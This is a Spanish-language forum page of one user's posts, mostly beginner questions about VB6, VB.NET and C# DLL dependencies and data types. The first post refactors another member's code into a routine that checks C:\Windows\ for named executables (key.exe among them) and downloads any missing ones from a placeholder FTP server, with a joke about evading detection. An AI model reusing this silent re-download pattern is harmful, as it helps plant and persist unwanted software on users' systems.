Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - EddyW

#1
Hola,

Como siempre digo, la idea está bien! de que funciona, si lo hace, pero el código esta demasiado 'sucio'.
Que manía de dejar los controles sin nombre (TextBox1 podría ser NameTxt), ¿no conoces las funciones (Function) y Procedimientos (Sub)? o todo era parte del 'indetectamiento' xD

Podrías reducir mucho el código y darle mayor 'calidad' si usas procedimientos para realizar las tareas por ejemplo de comprobar la existencia de los archivos, el código es muy redundante al respecto, cuando repites una acción más de 2 veces es adecuado usar funciones y/o procedimientos.

Algo así:
Código (vb.net) [Seleccionar]
Imports ejemplo.My

Module Module1
    Sub Main()
        Dim exe As Array
        exe = {"key.exe", "chat.exe", "mchat.exe", "ord.exe"}
        Exist("C:\Windows\", exe)
    End Sub

    Private Sub Exist(ByVal Dir As String, ByRef files As Array)
        Dim i As Object
        For Each i In files
            If Not Computer.FileSystem.FileExists(Dir + i.ToString) Then
                My.Computer.Network.DownloadFile("ftp://servidor/"+i.ToString, Dir + i.ToString, "user", "passw")
            End If
        Next
    End Sub
End Module


Como vez, paso el nombre de los archivos en un solo array a la función "Exist" ahorrando como 4 sentencias if, imagina que hubieran sido 100 archivos dudo que escribieras todas esas sentencias if.
Si quisieras modificar la ruta por ejemplo, solo tendrías que cambiar un parámetro y no editar todos los ifs.

No soy programador de VB.Net pero es prácticamente igual a C# (Quitando la sintaxis, aunque no podía evitar colocar ";" al final Dx).
Las buenas prácticas te pueden servir mucho en el futuro ;)

SaluDOS!
PD: Por cierto acomodar tu código en las etiquetas [code=vb.net]'Aquí tu codigo[/code] no se vería nada mal :)
#2
D:

Aunque me sirvió navegar el Google buscando tu topic, llegué a dar con un S.O escrito en C# (Compilado con IL2CPU o algo así).
Y encontré ese topic, pero sinceramente no entendí mucho, si fuese posible, como sería el procedimiento en VS10? (Después de usar Mono no entiendo el VS) :P

Si escribieron un S.O de menos de 2megas que entra en un discket en C# debe ser posible ejecutar un "Hola Mundo!!!" sin necesidad de tanta cosa. Supongo no.

SaluDOS!
#3
Cita de: seba123neo en  6 Septiembre 2011, 20:47 PM
usa el buscador, cree un post hace unos meses de como hacerlo.
Hace unos meses O.ô?
He leído (rápidamente) todos tus topics hasta mayo ("La materia que más os a costado" o algo por ahí era el último) y no encuentro nada referente al tema menos en el buscador (Que por cierto es lo primero que hice ¬¬)
#4
Cita de: Keyen Night en  6 Septiembre 2011, 02:25 AM
Un trozo de código que muestra como:

Código (vb.net) [Seleccionar]
  Dim [Assembly] As Assembly = Assembly.LoadFile("C:\Ejemplo.exe")

        For Each Dll As AssemblyName In [Assembly].GetReferencedAssemblies
            Console.WriteLine(Dll.Name & " " & Dll.Version.ToString)
        Next

Solo me muestra MsCorEE (O era MsCord¿?) aún incluyendo la dll en el directorio junto con lo demás no funciona. D:

@seba123neo
Como podría embeber las referencias en la aplicación, lo he intentado pero no me funciona.
Por cierto, esto:
Portable Library Tools - VisualStudio MSDN
Alguien con "VS 2010 sp1" podría probarlo xD, ¿precisamente para que sirve? (No tengo el sp1, y son 512mb de descarga D:)

SaluDOS!
#5
Hola,

No logré captar exactamente lo que quiere decir la imagen. (Podrías por lo menos usar diagramas de flujo ;))
Tengo algo que más o menos comprendí, con 2 botones en el Form:
Código (vbnet) [Seleccionar]
Public Class Form1
   Private a As Integer = 0
   Private n As Integer = 0

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim n_local As Integer = n
       n = n + 1
       Do
           Application.DoEvents()
       Loop Until (a = 1)
       MsgBox("Hola" & n_local)
   End Sub

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       a = 1
   End Sub
End Class


Espero te sirva :P

SaluDOS!
#6
:P

Estuve leyendo un artículo en la MSDN:
/lib (Opciones del compilador de C#)
En específico, leer sobre "/Reference", aunque dudo que sirva (O quizá si).

No se como listar las dependencias de un ejecutable (Aparte de las que indica el Visual Studio), por ejemplo está "MsCorEE.dll" ..
Bueno, seguiré esperando D:

SaluDOS!
#7
Gracias por responder.

Es una aplicación de consola, no tiene muchas dependencias.
Lo que estaba intentando es hacer correr un "Hola Mundo!" escrito en C# (Para comenzar) en Windows XP sp3 en un Virtual, con la aplicación mencionada anteriormente genera un ejecutable de 3mb apróx., pero me interesa incluir las Dll's fuera y no dentro del ensamblado pero linkeados.

Por cierto, copié TODAS las dll's del .Net y no funcionó D: vaya a ser por que (O quizá me confundí y copié las de Mono ¬¬).

Espero tu respuesta sobre el código que tienes para obtener las dependencias. ;)

SaluDOS!
#8
Wenas,

Mi pregunta iba más orientada a C#, pero el caso es el mismo para VB.Net,
No comprendo la idea de poder permitir "Copiar en local" las referencias. Por ejemplo "system.dll" si necesariamente necesita el framework.

En resumen, es posible hacer un link de las dll's necesarias con la aplicación para que no dependa de todo el framework?
Tal como es el caso de Visual C++, que es posible distribuir el runtime y todo funciona de maravilla, hay algo posible o parecido para C# o vb.net?

Si no me expliqué bien, preguntad  :¬¬ (Ando durmiendo por el teclado)

SaluDOS!!!
#9
Precisamente estaba pensando en esos 2 Bytes, gracias por aclarar, me va ha servir tu ejemplo ;)
Tengo otra duda que me saltó, por que esto 'esta mal'?

Código (vb) [Seleccionar]
Private Type bByte
    L() As Byte
End Type

Private Sub Form_Load()
    Dim EJ As bByte
    ReDim EJ.L(1 to 100) As Byte
    MsgBox LenB(EJ) ' => 4 ¿o.O?
End Sub


Supongo que es por que es una variable dinámica, pero ¿no hay forma?,

SaluDOS!!!
#10
Hola,

No pude pensar en un mejor título que describa el topic, lamento eso :P
Quiero realizar una resta de 2 números de 16 Bytes, pero es un UDT..
Código (vb) [Seleccionar]
Private Type cD
    A As Long
    B As Long
    C As Long
    D As Long
End Type

Private Type tStrg
    tStrg As String * 8
End Type

Private Sub Form_Load()
    Dim One As cD, Two As cD, Res As cD
    Dim LS As tStrg
    LS.tStrg = "86420"
    LSet One = LS
    LS.tStrg = "6020"
    LSet Two = LS
    ' Aquí no se como restar ONE - TWO usando el UTD Res
    ' El resultado se mostraría así ..:
    With Res
            ' Operaciones que no se como .¿?
    End With
    LSet LS = Res
End Sub


Pensé en restar One.A con Two.A, y así sucesivamente, pero no funciona (De todas formas no tiene lógica para funcionar así),
No se si esto sirva, pero más o menos es lo que debería devolver:
Citar
  ONE       . TWO       . RES
A 3539000 . 3145782 . 3145784
B 3276852 . 3145778 . 3145780
C 2097200 . 2097184 . 2097200
D 2097184 . 2097184 . 2097184
  =86420  . =6020    . =80400
Más o menos creo que capta la idea ..
Alguna ayuda :P

SaluDOS!!!